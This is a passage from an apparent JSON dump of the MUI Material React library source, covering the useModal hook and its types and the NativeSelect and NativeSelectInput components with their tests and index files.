    "content": "'use client';\nimport * as React from 'react';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport useForkRef from '@mui/utils/useForkRef';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport createChainedFunction from '@mui/utils/createChainedFunction';\nimport extractEventHandlers from '@mui/utils/extractEventHandlers';\nimport { EventHandlers } from '../utils/types';\nimport { ModalManager, ariaHidden } from './ModalManager';\nimport {\n  UseModalParameters,\n  UseModalReturnValue,\n  UseModalRootSlotProps,\n  UseModalBackdropSlotProps,\n} from './useModal.types';\n\nfunction getContainer(container: UseModalParameters['container']) {\n  return typeof container === 'function' ? container() : container;\n}\n\nfunction getHasTransition(children: UseModalParameters['children']) {\n  return children ? children.props.hasOwnProperty('in') : false;\n}\n\nconst noop = () => {};\n\n// A modal manager used to track and manage the state of open Modals.\n// Modals don't open on the server so this won't conflict with concurrent requests.\nconst manager = new ModalManager();\n\nfunction useModal(parameters: UseModalParameters): UseModalReturnValue {\n  const {\n    container,\n    disableScrollLock = false,\n    closeAfterTransition = false,\n    onTransitionEnter,\n    onTransitionExited,\n    children,\n    onClose,\n    open,\n    rootRef,\n  } = parameters;\n\n  // @ts-ignore internal logic\n  const modal = React.useRef<{ modalRef: HTMLDivElement; mount: HTMLElement }>({});\n  const mountNodeRef = React.useRef<HTMLElement>(null);\n  const modalRef = React.useRef<HTMLDivElement>(null);\n  const handleRef = useForkRef(modalRef, rootRef);\n  const [exited, setExited] = React.useState(!open);\n  const hasTransition = getHasTransition(children);\n\n  let ariaHiddenProp = true;\n  if (parameters['aria-hidden'] === 'false' || parameters['aria-hidden'] === false) {\n    ariaHiddenProp = false;\n  }\n\n  const getDoc = () => ownerDocument(mountNodeRef.current);\n  const getModal = () => {\n    modal.current.modalRef = modalRef.current!;\n    modal.current.mount = mountNodeRef.current!;\n    return modal.current;\n  };\n\n  const handleMounted = () => {\n    manager.mount(getModal(), { disableScrollLock });\n\n    // Fix a bug on Chrome where the scroll isn't initially 0.\n    if (modalRef.current) {\n      modalRef.current.scrollTop = 0;\n    }\n  };\n\n  const handleOpen = useEventCallback(() => {\n    const resolvedContainer = getContainer(container) || getDoc().body;\n\n    manager.add(getModal(), resolvedContainer as HTMLElement);\n\n    // The element was already mounted.\n    if (modalRef.current) {\n      handleMounted();\n    }\n  });\n\n  const isTopModal = () => manager.isTopModal(getModal());\n\n  const handlePortalRef = useEventCallback((node: HTMLElement) => {\n    mountNodeRef.current = node;\n\n    if (!node) {\n      return;\n    }\n\n    if (open && isTopModal()) {\n      handleMounted();\n    } else if (modalRef.current) {\n      ariaHidden(modalRef.current, ariaHiddenProp);\n    }\n  });\n\n  const handleClose = React.useCallback(() => {\n    manager.remove(getModal(), ariaHiddenProp);\n  }, [ariaHiddenProp]);\n\n  React.useEffect(() => {\n    return () => {\n      handleClose();\n    };\n  }, [handleClose]);\n\n  React.useEffect(() => {\n    if (open) {\n      handleOpen();\n    } else if (!hasTransition || !closeAfterTransition) {\n      handleClose();\n    }\n  }, [open, handleClose, hasTransition, closeAfterTransition, handleOpen]);\n\n  const createHandleKeyDown = (otherHandlers: EventHandlers) => (event: React.KeyboardEvent) => {\n    otherHandlers.onKeyDown?.(event);\n\n    // The handler doesn't take event.defaultPrevented into account:\n    //\n    // event.preventDefault() is meant to stop default behaviors like\n    // clicking a checkbox to check it, hitting a button to submit a form,\n    // and hitting left arrow to move the cursor in a text input etc.\n    // Only special HTML elements have these default behaviors.\n    if (\n      event.key !== 'Escape' ||\n      event.which === 229 || // Wait until IME is settled.\n      !isTopModal()\n    ) {\n      return;\n    }\n\n    // Swallow the event, in case someone is listening for the escape key on the body.\n    event.stopPropagation();\n\n    if (onClose) {\n      onClose(event, 'escapeKeyDown');\n    }\n  };\n\n  const createHandleBackdropClick = (otherHandlers: EventHandlers) => (event: React.MouseEvent) => {\n    otherHandlers.onClick?.(event);\n\n    if (event.target !== event.currentTarget) {\n      return;\n    }\n\n    if (onClose) {\n      onClose(event, 'backdropClick');\n    }\n  };\n\n  const getRootProps = <TOther extends EventHandlers = {}>(\n    otherHandlers: TOther = {} as TOther,\n  ): UseModalRootSlotProps<TOther> => {\n    const propsEventHandlers = extractEventHandlers(parameters) as Partial<UseModalParameters>;\n\n    // The custom event handlers shouldn't be spread on the root element\n    delete propsEventHandlers.onTransitionEnter;\n    delete propsEventHandlers.onTransitionExited;\n\n    const externalEventHandlers = {\n      ...propsEventHandlers,\n      ...otherHandlers,\n    };\n\n    return {\n      /*\n       * Marking an element with the role presentation indicates to assistive technology\n       * that this element should be ignored; it exists to support the web application and\n       * is not meant for humans to interact with directly.\n       * https://github.com/evcohen/eslint-plugin-jsx-a11y/blob/master/docs/rules/no-static-element-interactions.md\n       */\n      role: 'presentation',\n      ...externalEventHandlers,\n      onKeyDown: createHandleKeyDown(externalEventHandlers),\n      ref: handleRef,\n    };\n  };\n\n  const getBackdropProps = <TOther extends EventHandlers = {}>(\n    otherHandlers: TOther = {} as TOther,\n  ): UseModalBackdropSlotProps<TOther> => {\n    const externalEventHandlers = otherHandlers;\n\n    return {\n      'aria-hidden': true,\n      ...externalEventHandlers,\n      onClick: createHandleBackdropClick(externalEventHandlers),\n      open,\n    };\n  };\n\n  const getTransitionProps = () => {\n    const handleEnter = () => {\n      setExited(false);\n\n      if (onTransitionEnter) {\n        onTransitionEnter();\n      }\n    };\n\n    const handleExited = () => {\n      setExited(true);\n\n      if (onTransitionExited) {\n        onTransitionExited();\n      }\n\n      if (closeAfterTransition) {\n        handleClose();\n      }\n    };\n\n    return {\n      onEnter: createChainedFunction(handleEnter, children?.props.onEnter ?? noop),\n      onExited: createChainedFunction(handleExited, children?.props.onExited ?? noop),\n    };\n  };\n\n  return {\n    getRootProps,\n    getBackdropProps,\n    getTransitionProps,\n    rootRef: handleRef,\n    portalRef: handlePortalRef,\n    isTopModal,\n    exited,\n    hasTransition,\n  };\n}\n\nexport default useModal;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/useModal.types.ts",
    "content": "import { PortalProps } from '../Portal';\nimport { EventHandlers } from '../utils/types';\n\nexport interface UseModalRootSlotOwnProps {\n  role: React.AriaRole;\n  onKeyDown: React.KeyboardEventHandler;\n  ref: React.RefCallback<Element> | null;\n}\n\nexport interface UseModalBackdropSlotOwnProps {\n  'aria-hidden': React.AriaAttributes['aria-hidden'];\n  onClick: React.MouseEventHandler;\n  open?: boolean | undefined;\n}\n\nexport type UseModalBackdropSlotProps<TOther = {}> = TOther & UseModalBackdropSlotOwnProps;\n\nexport type UseModalRootSlotProps<TOther = {}> = TOther & UseModalRootSlotOwnProps;\n\nexport type UseModalParameters = {\n  'aria-hidden'?: React.AriaAttributes['aria-hidden'] | undefined;\n  /**\n   * A single child content element.\n   */\n  children:\n    | React.ReactElement<{\n        in?: boolean | undefined;\n        onEnter?: ((this: unknown) => void) | undefined;\n        onExited?: ((this: unknown) => void) | undefined;\n      }>\n    | undefined\n    | null;\n  /**\n   * When set to true the Modal waits until a nested Transition is completed before closing.\n   * @default false\n   */\n  closeAfterTransition?: boolean | undefined;\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container?: PortalProps['container'] | undefined;\n  /**\n   * Disable the scroll lock behavior.\n   * @default false\n   */\n  disableScrollLock?: boolean | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose?:\n    | {\n        bivarianceHack(event: {}, reason: 'backdropClick' | 'escapeKeyDown'): void;\n      }['bivarianceHack']\n    | undefined;\n  onKeyDown?: React.KeyboardEventHandler | undefined;\n  /**\n   * A function called when a transition enters.\n   */\n  onTransitionEnter?: (() => void) | undefined;\n  /**\n   * A function called when a transition has exited.\n   */\n  onTransitionExited?: (() => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  rootRef: React.Ref<Element>;\n};\n\nexport interface UseModalReturnValue {\n  /**\n   * Resolver for the root slot's props.\n   * @param externalProps props for the root slot\n   * @returns props that should be spread on the root slot\n   */\n  getRootProps: <TOther extends EventHandlers = {}>(\n    externalProps?: TOther,\n  ) => UseModalRootSlotProps<TOther>;\n  /**\n   * Resolver for the backdrop slot's props.\n   * @param externalProps props for the backdrop slot\n   * @returns props that should be spread on the backdrop slot\n   */\n  getBackdropProps: <TOther extends EventHandlers = {}>(\n    externalProps?: TOther,\n  ) => UseModalBackdropSlotProps<TOther>;\n  /**\n   * Resolver for the transition related props.\n   * @param externalProps props for the transition element\n   * @returns props that should be spread on the transition element\n   */\n  getTransitionProps: <TOther extends EventHandlers = {}>(\n    externalProps?: TOther,\n  ) => { onEnter: () => void; onExited: () => void };\n  /**\n   * A ref to the component's root DOM element.\n   */\n  rootRef: React.RefCallback<Element> | null;\n  /**\n   * A ref to the component's portal DOM element.\n   */\n  portalRef: React.RefCallback<Element> | null;\n  /**\n   * If `true`, the modal is the top most one.\n   */\n  isTopModal: () => boolean;\n  /**\n   * If `true`, the exiting transition finished (to be used for unmounting the component).\n   */\n  exited: boolean;\n  /**\n   * If `true`, the component's child is transition component.\n   */\n  hasTransition: boolean;\n}\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelect.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { InputProps } from '../Input';\nimport { NativeSelectInputProps } from './NativeSelectInput';\nimport { NativeSelectClasses } from './nativeSelectClasses';\n\nexport interface NativeSelectProps extends StandardProps<\n  InputProps,\n  'inputProps' | 'value' | 'onChange'\n> {\n  /**\n   * The option elements to populate the select with.\n   * Can be some `<option>` elements.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   * @default {}\n   */\n  classes?: Partial<NativeSelectClasses> | undefined;\n  /**\n   * The icon that displays the arrow.\n   * @default ArrowDropDownIcon\n   */\n  IconComponent?: React.ElementType | undefined;\n  /**\n   * An `Input` element; does not have to be a material-ui specific `Input`.\n   * @default <Input />\n   */\n  input?: React.ReactElement<unknown, any> | undefined;\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/select#attributes) applied to the `select` element.\n   */\n  inputProps?: Partial<NativeSelectInputProps> | undefined;\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {React.ChangeEvent<HTMLSelectElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange?: NativeSelectInputProps['onChange'] | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The `input` value. The DOM API casts this to a string.\n   */\n  value?: unknown;\n  /**\n   * The variant to use.\n   */\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n}\n\n/**\n * An alternative to `<Select native />` with a much smaller bundle size footprint.\n *\n * Demos:\n *\n * - [Select](https://next.mui.com/material-ui/react-select/)\n *\n * API:\n *\n * - [NativeSelect API](https://next.mui.com/material-ui/api/native-select/)\n * - inherits [Input API](https://next.mui.com/material-ui/api/input/)\n */\ndeclare const NativeSelect: ((props: NativeSelectProps) => React.JSX.Element) & { muiName: string };\n\nexport default NativeSelect;\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelect.js",
    "content": "'use client';\nimport * as React from 'react';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport NativeSelectInput from './NativeSelectInput';\nimport formControlState from '../FormControl/formControlState';\nimport useFormControl from '../FormControl/useFormControl';\nimport ArrowDropDownIcon from '../internal/svg-icons/ArrowDropDown';\nimport Input from '../Input';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getNativeSelectUtilityClasses } from './nativeSelectClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getNativeSelectUtilityClasses, classes);\n};\n\nconst defaultInput = <Input />;\n/**\n * An alternative to `<Select native />` with a much smaller bundle size footprint.\n */\nconst NativeSelect = React.forwardRef(function NativeSelect(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiNativeSelect', props: inProps });\n  const {\n    className,\n    children,\n    classes: classesProp = {},\n    IconComponent = ArrowDropDownIcon,\n    input = defaultInput,\n    inputProps,\n    variant,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['variant'],\n  });\n\n  const ownerState = { ...props, classes: classesProp };\n  const classes = useUtilityClasses(ownerState);\n  const { root, ...otherClasses } = classesProp;\n\n  return (\n    <React.Fragment>\n      {React.cloneElement(input, {\n        // Most of the logic is implemented in `NativeSelectInput`.\n        // The `Select` component is a simple API wrapper to expose something better to play with.\n        inputComponent: NativeSelectInput,\n        inputProps: {\n          children,\n          classes: otherClasses,\n          IconComponent,\n          variant: fcs.variant,\n          type: undefined, // We render a select. We can ignore the type provided by the `Input`.\n          ...inputProps,\n          ...(input ? input.props.inputProps : {}),\n        },\n        ref,\n        ...other,\n        className: clsx(classes.root, input.props.className, className),\n      })}\n    </React.Fragment>\n  );\n});\n\nNativeSelect.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The option elements to populate the select with.\n   * Can be some `<option>` elements.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   * @default {}\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon that displays the arrow.\n   * @default ArrowDropDownIcon\n   */\n  IconComponent: PropTypes.elementType,\n  /**\n   * An `Input` element; does not have to be a material-ui specific `Input`.\n   * @default <Input />\n   */\n  input: PropTypes.element,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/select#attributes) applied to the `select` element.\n   */\n  inputProps: PropTypes.object,\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {React.ChangeEvent<HTMLSelectElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The `input` value. The DOM API casts this to a string.\n   */\n  value: PropTypes.any,\n  /**\n   * The variant to use.\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nNativeSelect.muiName = 'Select';\n\nexport default NativeSelect;\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelect.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider, styled } from '@mui/material/styles';\nimport NativeSelect, { nativeSelectClasses as classes } from '@mui/material/NativeSelect';\nimport Input, { inputClasses } from '@mui/material/Input';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<NativeSelect />', () => {\n  const { render } = createRenderer();\n  const defaultProps = {\n    input: <Input />,\n    children: [\n      <option key=\"1\" value=\"1\">\n        1\n      </option>,\n      <option key=\"2\" value=\"2\">\n        2\n      </option>,\n    ],\n  };\n\n  describeConformance(<NativeSelect {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: Input,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiNativeSelect',\n    skip: ['componentProp', 'themeVariants', 'themeStyleOverrides'],\n  }));\n\n  it('should render a native select', () => {\n    render(\n      <NativeSelect {...defaultProps} value={10}>\n        <option value=\"\">empty</option>\n        <option value={10}>Ten</option>\n        <option value={20}>Twenty</option>\n        <option value={30}>Thirty</option>\n      </NativeSelect>,\n    );\n\n    const select = screen.getByRole('combobox');\n    const options = select.children;\n    expect(select.value).to.equal('10');\n    expect(options.length).to.equal(4);\n    expect(options[0].value).to.equal('');\n    expect(options[0].text).to.equal('empty');\n    expect(options[1].selected).to.equal(true);\n    expect(options[1].value).to.equal('10');\n    expect(options[1].text).to.equal('Ten');\n    expect(options[2].value).to.equal('20');\n    expect(options[2].text).to.equal('Twenty');\n    expect(options[3].value).to.equal('30');\n    expect(options[3].text).to.equal('Thirty');\n  });\n\n  it('should provide the classes to the input component', () => {\n    const { container } = render(<NativeSelect {...defaultProps} />);\n    expect(container.firstChild).to.have.class(inputClasses.root);\n  });\n\n  it('should provide the classes to the select component', () => {\n    render(<NativeSelect {...defaultProps} />);\n    expect(screen.getByRole('combobox')).to.have.class(classes.select);\n  });\n\n  it.skipIf(isJsdom())('slots overrides should work', function test() {\n    const iconStyle = {\n      marginTop: '13px',\n    };\n\n    const theme = createTheme({\n      components: {\n        MuiNativeSelect: {\n          styleOverrides: {\n            icon: iconStyle,\n          },\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <NativeSelect {...defaultProps} />\n      </ThemeProvider>,\n    );\n\n    expect(container.getElementsByClassName(classes.icon)[0]).to.toHaveComputedStyle(iconStyle);\n  });\n\n  it('styled NativeSelect with custom input should not overwritten className', () => {\n    const StyledSelect = styled(NativeSelect)({});\n\n    render(\n      <StyledSelect\n        className=\"foo\"\n        input={<Input data-testid=\"root\" className=\"bar\" />}\n        value=\"\"\n      />,\n    );\n\n    expect(screen.getByTestId('root')).to.have.class('foo');\n    expect(screen.getByTestId('root')).to.have.class('bar');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelectInput.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\n\nexport interface NativeSelectInputProps extends React.SelectHTMLAttributes<HTMLSelectElement> {\n  disabled?: boolean | undefined;\n  IconComponent: React.ElementType;\n  inputRef?: React.Ref<HTMLSelectElement> | undefined;\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n  error?: boolean | undefined;\n  sx?: SxProps<Theme> | undefined;\n}\n\ndeclare const NativeSelectInput: React.JSXElementConstructor<NativeSelectInputProps>;\n\nexport default NativeSelectInput;\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelectInput.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport refType from '@mui/utils/refType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport nativeSelectClasses, { getNativeSelectUtilityClasses } from './nativeSelectClasses';\nimport { styled } from '../zero-styled';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, disabled, multiple, open, error } = ownerState;\n\n  const slots = {\n    select: ['select', variant, disabled && 'disabled', multiple && 'multiple', error && 'error'],\n    icon: ['icon', `icon${capitalize(variant)}`, open && 'iconOpen', disabled && 'disabled'],\n  };\n\n  return composeClasses(slots, getNativeSelectUtilityClasses, classes);\n};\n\nexport const StyledSelectSelect = styled('select', {\n  name: 'MuiNativeSelect',\n})(({ theme }) => ({\n  // Reset\n  MozAppearance: 'none',\n  // Reset\n  WebkitAppearance: 'none',\n  // When interacting quickly, the text can end up selected.\n  // Native select can't be selected either.\n  userSelect: 'none',\n  // Reset\n  borderRadius: 0,\n  cursor: 'pointer',\n  '&:focus': {\n    // Reset Chrome style\n    borderRadius: 0,\n  },\n  [`&.${nativeSelectClasses.disabled}`]: {\n    cursor: 'default',\n  },\n  '&[multiple]': {\n    height: 'auto',\n  },\n  '&:not([multiple]) option, &:not([multiple]) optgroup': {\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n  },\n  variants: [\n    {\n      props: ({ ownerState }) =>\n        ownerState.variant !== 'filled' && ownerState.variant !== 'outlined',\n      style: {\n        // Bump specificity to allow extending custom inputs\n        '&&&': {\n          paddingRight: 24,\n          minWidth: 16, // So it doesn't collapse.\n        },\n      },\n    },\n    {\n      props: {\n        variant: 'filled',\n      },\n      style: {\n        '&&&': {\n          paddingRight: 32,\n        },\n      },\n    },\n    {\n      props: {\n        variant: 'outlined',\n      },\n      style: {\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        '&:focus': {\n          borderRadius: (theme.vars || theme).shape.borderRadius, // Reset the reset for Chrome style\n        },\n        '&&&': {\n          paddingRight: 32,\n        },\n      },\n    },\n  ],\n}));\n\nconst NativeSelectSelect = styled(StyledSelectSelect, {\n  name: 'MuiNativeSelect',\n  slot: 'Select',\n  shouldForwardProp: rootShouldForwardProp,\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.select,\n      styles[ownerState.variant],\n      ownerState.error && styles.error,\n      { [`&.${nativeSelectClasses.multiple}`]: styles.multiple },\n    ];\n  },\n})({});\n\nexport const StyledSelectIcon = styled('svg', {\n  name: 'MuiNativeSelect',\n})(({ theme }) => ({\n  // We use a position absolute over a flexbox in order to forward the pointer events\n  // to the input and to support wrapping tags..\n  position: 'absolute',\n  right: 0,\n  // Center vertically, height is 1em\n  top: 'calc(50% - .5em)',\n  // Don't block pointer events on the select under the icon.\n  pointerEvents: 'none',\n  color: (theme.vars || theme).palette.action.active,\n  [`&.${nativeSelectClasses.disabled}`]: {\n    color: (theme.vars || theme).palette.action.disabled,\n  },\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.open,\n      style: {\n        transform: 'rotate(180deg)',\n      },\n    },\n    {\n      props: {\n        variant: 'filled',\n      },\n      style: {\n        right: 7,\n      },\n    },\n    {\n      props: {\n        variant: 'outlined',\n      },\n      style: {\n        right: 7,\n      },\n    },\n  ],\n}));\n\nconst NativeSelectIcon = styled(StyledSelectIcon, {\n  name: 'MuiNativeSelect',\n  slot: 'Icon',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      styles.icon,\n      ownerState.variant && styles[`icon${capitalize(ownerState.variant)}`],\n      ownerState.open && styles.iconOpen,\n    ];\n  },\n})({});\n\n/**\n * @ignore - internal component.\n */\nconst NativeSelectInput = React.forwardRef(function NativeSelectInput(props, ref) {\n  const {\n    className,\n    disabled,\n    error,\n    IconComponent,\n    inputRef,\n    variant = 'standard',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    disabled,\n    variant,\n    error,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n  return (\n    <React.Fragment>\n      <NativeSelectSelect\n        ownerState={ownerState}\n        className={clsx(classes.select, className)}\n        disabled={disabled}\n        ref={inputRef || ref}\n        {...other}\n      />\n      {props.multiple ? null : (\n        <NativeSelectIcon as={IconComponent} ownerState={ownerState} className={classes.icon} />\n      )}\n    </React.Fragment>\n  );\n});\n\nNativeSelectInput.propTypes = {\n  /**\n   * The option elements to populate the select with.\n   * Can be some `<option>` elements.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The CSS class name of the select element.\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the select is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the `select input` will indicate an error.\n   */\n  error: PropTypes.bool,\n  /**\n   * The icon that displays the arrow.\n   */\n  IconComponent: PropTypes.elementType.isRequired,\n  /**\n   * Use that prop to pass a ref to the native select element.\n   * @deprecated\n   */\n  inputRef: refType,\n  /**\n   * @ignore\n   */\n  multiple: PropTypes.bool,\n  /**\n   * Name attribute of the `select` or hidden `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * The input value.\n   */\n  value: PropTypes.any,\n  /**\n   * The variant to use.\n   */\n  variant: PropTypes.oneOf(['standard', 'outlined', 'filled']),\n};\n\nexport default NativeSelectInput;\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/NativeSelectInput.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, fireEvent, isJsdom } from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport NativeSelectInput from './NativeSelectInput';\nimport nativeSelectClasses from './nativeSelectClasses';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<NativeSelectInput />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<NativeSelectInput IconComponent=\"div\" />, () => ({\n    render,\n    only: ['refForwarding'],\n    refInstanceof: window.HTMLSelectElement,\n    muiName: 'MuiNativeSelectInput',\n  }));\n\n  it('should render a native select', () => {\n    const { container } = render(\n      <NativeSelectInput IconComponent=\"div\" onChange={() => {}} value={10}>\n        <option value={10}>Ten</option>\n        <option value={20}>Twenty</option>\n        <option value={30}>Thirty</option>\n      </NativeSelectInput>,\n    );\n\n    expect(container.firstChild.value).to.equal('10');\n  });\n\n  it('should respond to update event', () => {\n    const handleChange = spy();\n    render(\n      <NativeSelectInput defaultValue={10} IconComponent=\"div\" onChange={handleChange}>\n        <option value={10}>Ten</option>\n        <option value={20}>Twenty</option>\n        <option value={30}>Thirty</option>\n      </NativeSelectInput>,\n    );\n\n    fireEvent.change(document.querySelector('select'), { target: { value: 20 } });\n\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][0].target.value).to.equal('20');\n  });\n\n  it('should apply outlined class', () => {\n    const { container } = render(\n      <NativeSelectInput\n        IconComponent=\"div\"\n        variant=\"outlined\"\n        classes={{ outlined: 'outlined' }}\n      />,\n    );\n\n    expect(container.firstChild).to.have.class(nativeSelectClasses.outlined);\n  });\n\n  it('should apply filled class', () => {\n    const { container } = render(\n      <NativeSelectInput IconComponent=\"div\" variant=\"filled\" classes={{ filled: 'filled' }} />,\n    );\n\n    expect(container.firstChild).to.have.class(nativeSelectClasses.filled);\n  });\n\n  it('should apply multiple class to `select` slot', () => {\n    const { container } = render(<NativeSelectInput IconComponent=\"div\" multiple />);\n\n    expect(container.firstChild).to.have.class(nativeSelectClasses.multiple);\n  });\n\n  describe('prop: multiple', () => {\n    it.skipIf(isJsdom())(\n      'should be able to override `multiple` rule name in `select` slot',\n      function test() {\n        const selectStyle = {\n          marginLeft: '10px',\n          marginTop: '10px',\n        };\n\n        const multipleStyle = {\n          marginTop: '14px',\n        };\n\n        const theme = createTheme({\n          components: {\n            MuiNativeSelect: {\n              styleOverrides: {\n                select: selectStyle,\n                multiple: multipleStyle,\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <NativeSelectInput IconComponent=\"div\" multiple>\n              <option value={'first'}>First</option>\n              <option value={'second'}>Second</option>\n            </NativeSelectInput>\n          </ThemeProvider>,\n        );\n\n        const combinedStyle = { ...selectStyle, ...multipleStyle };\n\n        expect(\n          container.getElementsByClassName(nativeSelectClasses.select)[0],\n        ).to.toHaveComputedStyle(combinedStyle);\n      },\n    );\n  });\n\n  describe('theme styleOverrides:', () => {\n    it.skipIf(isJsdom())(\n      'should override with error style when `select` has `error` state',\n      function test() {\n        const iconStyle = { color: 'rgb(255, 0, 0)' };\n        const selectStyle = { color: 'rgb(255, 192, 203)' };\n\n        const theme = createTheme({\n          components: {\n            MuiNativeSelect: {\n              styleOverrides: {\n                icon: (props) => ({\n                  ...(props.ownerState.error && iconStyle),\n                }),\n                select: (props) => ({\n                  ...(props.ownerState.error && selectStyle),\n                }),\n              },\n            },\n          },\n        });\n\n        const { container } = render(\n          <ThemeProvider theme={theme}>\n            <NativeSelectInput error IconComponent=\"div\">\n              <option value={'first'}>First</option>\n              <option value={'second'}>Second</option>\n            </NativeSelectInput>\n          </ThemeProvider>,\n        );\n        expect(container.querySelector(`.${nativeSelectClasses.select}`)).toHaveComputedStyle(\n          selectStyle,\n        );\n        expect(container.querySelector(`.${nativeSelectClasses.icon}`)).toHaveComputedStyle(\n          iconStyle,\n        );\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/index.d.ts",
    "content": "export { default } from './NativeSelect';\nexport * from './NativeSelect';\n\nexport { default as nativeSelectClasses } from './nativeSelectClasses';\nexport * from './nativeSelectClasses';\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/index.js",
    "content": "export { default } from './NativeSelect';\n\nexport { default as nativeSelectClasses } from './nativeSelectClasses';\nexport * from './nativeSelectClasses';\n"
  },
  {
    "path": "packages/mui-material/src/NativeSelect/nativeSelectClasses.ts",
